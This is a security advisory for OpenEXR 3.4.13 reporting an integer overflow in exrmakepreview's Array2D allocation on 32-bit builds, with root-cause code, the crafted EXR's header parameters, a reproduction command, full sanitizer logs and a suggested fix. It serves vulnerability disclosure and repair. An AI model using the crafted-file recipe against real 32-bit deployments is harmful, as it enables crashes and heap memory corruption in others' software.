GHSA-h56j-j82x-w3fp
CVE Information
OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow
Summary
A crafted scanline EXR can trigger heap memory corruption in the shipped
exrmakepreviewtool on 32-bit/ILP32 OpenEXR builds.
exrmakepreviewreads the publicdataWindow, computesw/h, allocatesArray2D<Rgba> pixels(h, w), and then decodes all scanlines into that buffer. For a65537 x 65537image, the element-count multiplication wraps on ILP32 and allocates about 1 MiB instead of the conceptual ~34 GiB RGBA buffer. The subsequentRgbaInputFile::readPixels()writes decoded pixels past the undersized heap allocation.This is file-triggered through a shipped CLI (
exrmakepreview) with a crafted EXR file. The demonstrated impact is heap out-of-bounds write / crash on ILP32.Reproduction status
v3.4.13 ILP32 original exrmakepreview: rc=139 / SIGSEGV v3.4.13 ILP32 ASAN exrmakepreview: rc=134, heap-buffer-overflow WRITE of size 8 v3.4.13 ILP32 UBSAN exrmakepreview: rc=134, signed integer overflow at ImfArray.h:186 local origin/main d9de1caa ILP32 original exrmakepreview: rc=139 / SIGSEGV local origin/main d9de1caa ILP32 ASAN exrmakepreview: rc=134, heap-buffer-overflow WRITE of size 8 local origin/main d9de1caa ILP32 UBSAN exrmakepreview: rc=139 / SIGSEGVThe PoC file is accepted by normal v3.4.13 inspection tools:
exrheader: rc=0 exrinfo: rc=0Root cause
Relevant v3.4.13 flow:
src/bin/exrmakepreview/makePreview.cpp:73-80 Box2i dw = in.dataWindow(); int w = dw.max.x - dw.min.x + 1; int h = dw.max.y - dw.min.y + 1; Array2D<Rgba> pixels(h, w); in.setFrameBuffer(..., 1, w); in.readPixels(dw.min.y, dw.max.y); src/lib/OpenEXR/ImfArray.h:185-186 Array2D<T>::Array2D(long sizeX, long sizeY) : _data(new T[sizeX * sizeY])On ILP32,
long/size_tare 32-bit.65537 * 65537 = 4,295,098,369wraps to131073; for 8-byteRgba, ASAN shows an allocation of1,048,584bytes. Decode then writes the full scanline data through the frame buffer and reaches the end of that undersized allocation.The current local
origin/mainsnapshot adds a negative-dimension check inArray2D, but still allocates with(size_t) sizeX * (size_t) sizeY; on ILP32 this multiplication still wraps, so the same crafted file still reproduces.PoC
The crafted EXR is a public scanline image:
compression: none dataWindow/displayWindow: (0,0) - (65536,65536) # 65537 x 65537 channels: A/B/G/R HALF, sampling 1x1 first 64 scanline chunks contain full-size 65537*8-byte row payloadsThe full-size early scanline chunks are intentional. This separates the finding from short-chunk source-read/disclosure reports: the ASAN signal here is a destination heap-buffer-overflow write, and the allocation stack points to
Array2D<Rgba>inexrmakepreview.
poc.zipcontains only required reproduction material:reproduce.sh poc_materials/array2d_w65537_h65537_fullprefix_none.exr poc_materials/src/build_ilp32_exrmakepreview_direct.sh poc_materials/src/build_main_origin_ilp32_exrmakepreview_direct.sh poc_materials/logs/final/reproduce_run.log poc_materials/logs/final/exrheader_v3413.out poc_materials/logs/final/exrinfo_v3413.out poc_materials/logs/final/v3413_asan.err poc_materials/logs/final/v3413_ubsan.err poc_materials/logs/final/main_origin_asan.errReproduction
From the extracted
poc.zipdirectory:OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.shExpected result:
exrheader/exrinfoexit0; v3.4.13 and localorigin/mainILP32exrmakepreviewbuilds fail as shown above; the script exits withPASSafter observing the expected non-zero crash/sanitizer statuses.Impact
An attacker-controlled EXR file can crash ILP32 builds of the shipped
exrmakepreviewtool and trigger a sanitizer-confirmed heap out-of-bounds write while decoding pixels. The practical impact is memory corruption / denial of service in that tool path on 32-bit builds.Suggested fix
Add overflow-safe dimension and allocation-size validation before allocating
Array2Dstorage and beforeexrmakepreviewaccepts publicdataWindowdimensions. In particular, reject dimensions wheresizeX * sizeY * sizeof(T)cannot be represented insize_tor would exceed an implementation-defined safe maximum.Complete validation output
The following is the full
reproduce.shoutput from the final validation run, including the full sanitizer output emitted by the ASAN/UBSAN runs.===== exrheader_v3413 ===== rc=0 file /home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr: file format version: 2, flags 0x0 channels (type chlist): A, 16-bit floating-point, sampling 1 1 B, 16-bit floating-point, sampling 1 1 G, 16-bit floating-point, sampling 1 1 R, 16-bit floating-point, sampling 1 1 compression (type compression): none: no compression. dataWindow (type box2i): (0 0) - (65536 65536) displayWindow (type box2i): (0 0) - (65536 65536) lineOrder (type lineOrder): increasing y pixelAspectRatio (type float): 1 screenWindowCenter (type v2f): (0 0) screenWindowWidth (type float): 1 type (type string): "scanlineimage" ===== exrinfo_v3413 ===== rc=0 File '/home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr': compression: 'none' displayWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537 dataWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537 channels: 4 channels 'A': half samp 1 1 'B': half samp 1 1 'G': half samp 1 1 'R': half samp 1 1 ===== v3413_original ===== rc=139 ===== v3413_asan ===== rc=134 ================================================================= ==659691==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3ffe808 at pc 0x568f3770 bp 0xffcd3558 sp 0xffcd3550 WRITE of size 8 at 0xf3ffe808 thread T0 #0 0x568f376f in unpack_16bit_4chan_interleave_rev /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:664:24 #1 0x568df120 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:664:18 #2 0x567800bf in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #3 0x5677d268 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #4 0x5677cb79 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #5 0x56709867 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #6 0x56709796 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #7 0x5684b5a3 in Imf_3_4::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputPart.cpp:78:11 #8 0x5676f2af in Imf_3_4::RgbaInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfRgbaFile.cpp:1352:21 #9 0x566f3d88 in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:80:8 #10 0x566f3d88 in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5 #11 0x566f307a in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9 #12 0xf78b1cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #13 0xf78b1d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #14 0x566166e6 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_asan+0xb06e6) (BuildId: baa3f315e1ad90988093c982eb32b7c98f244b79) 0xf3ffe808 is located 0 bytes after 1048584-byte region [0xf3efe800,0xf3ffe808) allocated by thread T0 here: #0 0x566f05cb in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_asan+0x18a5cb) (BuildId: baa3f315e1ad90988093c982eb32b7c98f244b79) #1 0x566f3d4d in Imf_3_4::Array2D<Imf_3_4::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:46 #2 0x566f3d4d in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:78:19 #3 0x566f3d4d in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5 #4 0x566f307a in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9 #5 0xf78b1cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:664:24 in unpack_16bit_4chan_interleave_rev Shadow bytes around the buggy address: 0xf3ffe580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf3ffe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf3ffe680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf3ffe700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf3ffe780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0xf3ffe800: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf3ffe880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf3ffe900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf3ffe980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf3ffea00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf3ffea80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==659691==ABORTING ===== v3413_ubsan ===== rc=134 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58: runtime error: signed integer overflow: 65537 * 65537 cannot be represented in type 'long' #0 0x566a3d4e in Imf_3_4::Array2D<Imf_3_4::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58 #1 0x566a3d4e in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:78:19 #2 0x566a3d4e in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5 #3 0x566a25e7 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9 #4 0xf7901cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #5 0xf7901d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #6 0x566723c6 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_ubsan+0xe33c6) (BuildId: c5ab10ddef999e0a1f475726173c0c81851c617f) SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58 ===== main_origin_original ===== rc=139 ===== main_origin_asan ===== rc=134 ================================================================= ==659705==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf39fe808 at pc 0xf7bd0966 bp 0xff9ad578 sp 0xff9ad570 WRITE of size 8 at 0xf39fe808 thread T0 #0 0xf7bd0965 in unpack_16bit_4chan_interleave_rev /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/unpack.c:664:24 #1 0xf7bbc310 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/decoding.c:668:18 #2 0xf7eb535f in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:587:23 #3 0xf7eb2638 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:501:21 #4 0xf7eb1f39 in Imf_4_0::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #5 0xf7e1e937 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #6 0xf7e1e866 in Imf_4_0::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #7 0xf7e27d23 in Imf_4_0::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputPart.cpp:78:11 #8 0xf7ea539d in Imf_4_0::RgbaInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfRgbaFile.cpp:1354:21 #9 0x5665fcf6 in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_4_0::Array2D<Imf_4_0::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:82:8 #10 0x5665fcf6 in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:128:5 #11 0x5665efda in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/main.cpp:175:9 #12 0xf728bcb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #13 0xf728bd7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #14 0x56582646 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_main_origin_ilp32_asan+0x1b646) (BuildId: 81ecd7496d4d174e682fdcd6ece6c9841711cdf3) 0xf39fe808 is located 0 bytes after 1048584-byte region [0xf38fe800,0xf39fe808) allocated by thread T0 here: #0 0x5665c52b in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_main_origin_ilp32_asan+0xf552b) (BuildId: 81ecd7496d4d174e682fdcd6ece6c9841711cdf3) #1 0x5665fcbb in Imf_4_0::Array2D<Imf_4_0::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfArray.h:205:14 #2 0x5665fcbb in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_4_0::Array2D<Imf_4_0::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:80:19 #3 0x5665fcbb in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:128:5 #4 0x5665efda in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/main.cpp:175:9 #5 0xf728bcb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/unpack.c:664:24 in unpack_16bit_4chan_interleave_rev Shadow bytes around the buggy address: 0xf39fe580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf39fe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf39fe680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf39fe700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0xf39fe780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0xf39fe800: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf39fe880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf39fe900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf39fe980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf39fea00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf39fea80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==659705==ABORTING ===== main_origin_ubsan ===== rc=139 a602a4aad612f35201b60d02faa8ac1e7e899a55542127ff19a9f14fe620302a /home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr PASS